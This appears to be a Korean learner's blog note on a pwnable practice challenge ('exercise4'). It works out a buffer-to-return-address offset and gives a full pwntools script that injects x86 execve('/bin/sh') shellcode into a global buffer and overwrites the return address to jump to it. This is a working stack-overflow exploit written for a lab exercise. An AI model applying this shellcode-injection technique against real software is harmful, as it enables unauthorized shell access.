g_buf는 bss, 전역변수이고 

-0x88(dest) ~ 0x04(ret) 거리 : 0x8c : 140

140 - 23(shell) = 117

win함수 없음

리턴할 주소가 안보인다. gdb로 찾아준다. (아마 전역변수라 주소가 고정? 되는것 같긴 한데 잘 모르겠다)

리턴 주소 >> 0x804a060

 

from pwn import *
r = process("./exercise4")
shell = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
payload = ("\x90"*50 + shell + "\x90"*67 + p32(0x804a060))
r.sendafter(" :",payload)
r.interactive()

해당 주소는 shellcode를 넣은부분의 주소인데, (payload) 스택에 shellcode를 넣는다고 마법처럼 bin/sh가 실행되는게 아니고 ret에서 해당 주소로 이동해야 한다. (난 마법을 믿었다)

'pwnable' 카테고리의 다른 글

보호기법  (0) 2020.11.15
5  (0) 2020.10.16
3  (0) 2020.10.16
2  (0) 2020.10.16
1  (0) 2020.10.16

+ Recent posts